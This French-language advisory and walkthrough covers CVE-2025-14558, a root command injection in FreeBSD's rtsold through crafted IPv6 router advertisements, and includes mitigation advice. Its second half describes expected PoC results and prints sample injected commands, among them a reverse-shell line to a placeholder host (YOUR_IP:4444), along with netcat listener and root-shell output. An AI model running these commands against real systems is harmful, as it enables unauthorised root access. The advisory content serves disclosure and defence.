⚙️ Détails techniques

• Des paquets IPv6 d'annonce de routeur (RA) malveillants peuvent inclure une option de liste de recherche de domaine conçue
• L'entrée est passée de manière non sécurisée à resolvconf(8)
• Un mauvais échappement de shell permet l'injection de commandes
• Entraîne l'exécution de commandes arbitraires en tant que root

🕸️ Vecteur d'attaque

• 🌐 Basé sur le réseau
• 📍 L'attaquant doit se trouver sur le même segment de réseau local
• Aucune authentification ou identifiants requis

💥 Impact

En cas d'exploitation réussie, un attaquant peut :

• Obtenir un compromis complet du système
• Exécuter des commandes arbitraires
• Modifier la configuration du système
• Établir une persistance ou un mouvement latéral

🧪 Disponibilité de l'exploit

• ✅ Preuve de concept (PoC) publique existe
• Démontre l'exécution de commandes via des paquets RA IPv6 conçus

🛡️ Atténuation et défense

Actions fortement recommandées :

• 🔧 Appliquer les correctifs de sécurité officiels de FreeBSD
• 🚫 Désactiver rtsol / rtsold si les RA IPv6 ne sont pas nécessaires
• 🔒 Filtrer ou bloquer les annonces de routeur IPv6 non fiables
• 🧱 Utiliser la segmentation du réseau pour limiter l'exposition à un attaquant local

📝 Point clé

Tout système FreeBSD écoutant les annonces de routeur IPv6 sur un réseau non fiable est à haut risque. Corrigez immédiatement ou désactivez les services concernés.

Si le script PoC pour CVE-2025-14558 fonctionne avec succès sur un système FreeBSD vulnérable (non corrigé, avec rtsold en cours d'exécution et traitant les messages RA IPv6) :

Sur la cible (machine FreeBSD vulnérable) :

• La commande injectée s'exécute immédiatement en tant que root (car rtsold s'exécute en tant que root et appelle /sbin/resolvconf avec le domaine malveillant).
• Aucune sortie visible n'apparaît dans la console ou les journaux par défaut (la commande s'exécute silencieusement en arrière-plan).
• Exemples de ce qui se passe :

  • Pour un test simple comme --command "id > /tmp/pwned" :

    • Un fichier /tmp/pwned est créé contenant une sortie comme :

      root@kitploit:~

      uid=0(root) gid=0(wheel) groups=0(wheel)
      

  • Pour --command "touch /tmp/exploit_success" :

    • Un fichier vide /tmp/exploit_success apparaît.

  • Pour un reverse shell comme --command "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1" :

    • Aucun changement visible immédiat sur la cible, mais une tentative de connexion vers votre écouteur.

Vérifiez sur la cible avec des commandes comme :

Du côté de l'attaquant (exécution du script) :

• Le script affiche :

  root@kitploit:~

  [+] Sending malicious RA on eth0
  [+] Injected command: id > /tmp/pwned
  [+] Target must run vulnerable rtsold and process the RA
  [+] Done. Check target for execution (e.g. /tmp/pwned)
  
  

• Pour un reverse shell : En cas de succès, votre nc -lvnp 4444 obtient une connexion et un shell root :

  root@kitploit:~

  listening on [any] 4444 ...
  connect to [YOUR_IP] from (UNKNOWN) [target_ip] XXXXX
  bash: cannot set terminal process groups: No job control in this shell
  bash: no job control in this shell
  root@vulnerable-host:~ #
  

  ---

  (Vous avez maintenant un shell root – tapez des commandes comme id, whoami, etc.)

Si cela ne fonctionne pas :

• Aucun fichier créé/aucune connexion → raisons : Cible corrigée, rtsold ne tourne pas, pas sur le même réseau L2, pare-feu bloquant les RA, ou IPv6 désactivé.

Ceci n'est observable que dans un laboratoire contrôlé sur un système FreeBSD vulnérable (avant le correctif du 16 décembre 2025). Aucun rapport d'exploitation publique dans le monde réel au 23 décembre 2025. Corrigez immédiatement en production.

⚠️ Avertissement : Ces informations sont fournies à titre indicatif uniquement et ne constituent pas un conseil de sécurité, juridique ou opérationnel. Toujours consulter et suivre les avis, correctifs et conseils officiels des fournisseurs avant d'entreprendre des actions de remédiation.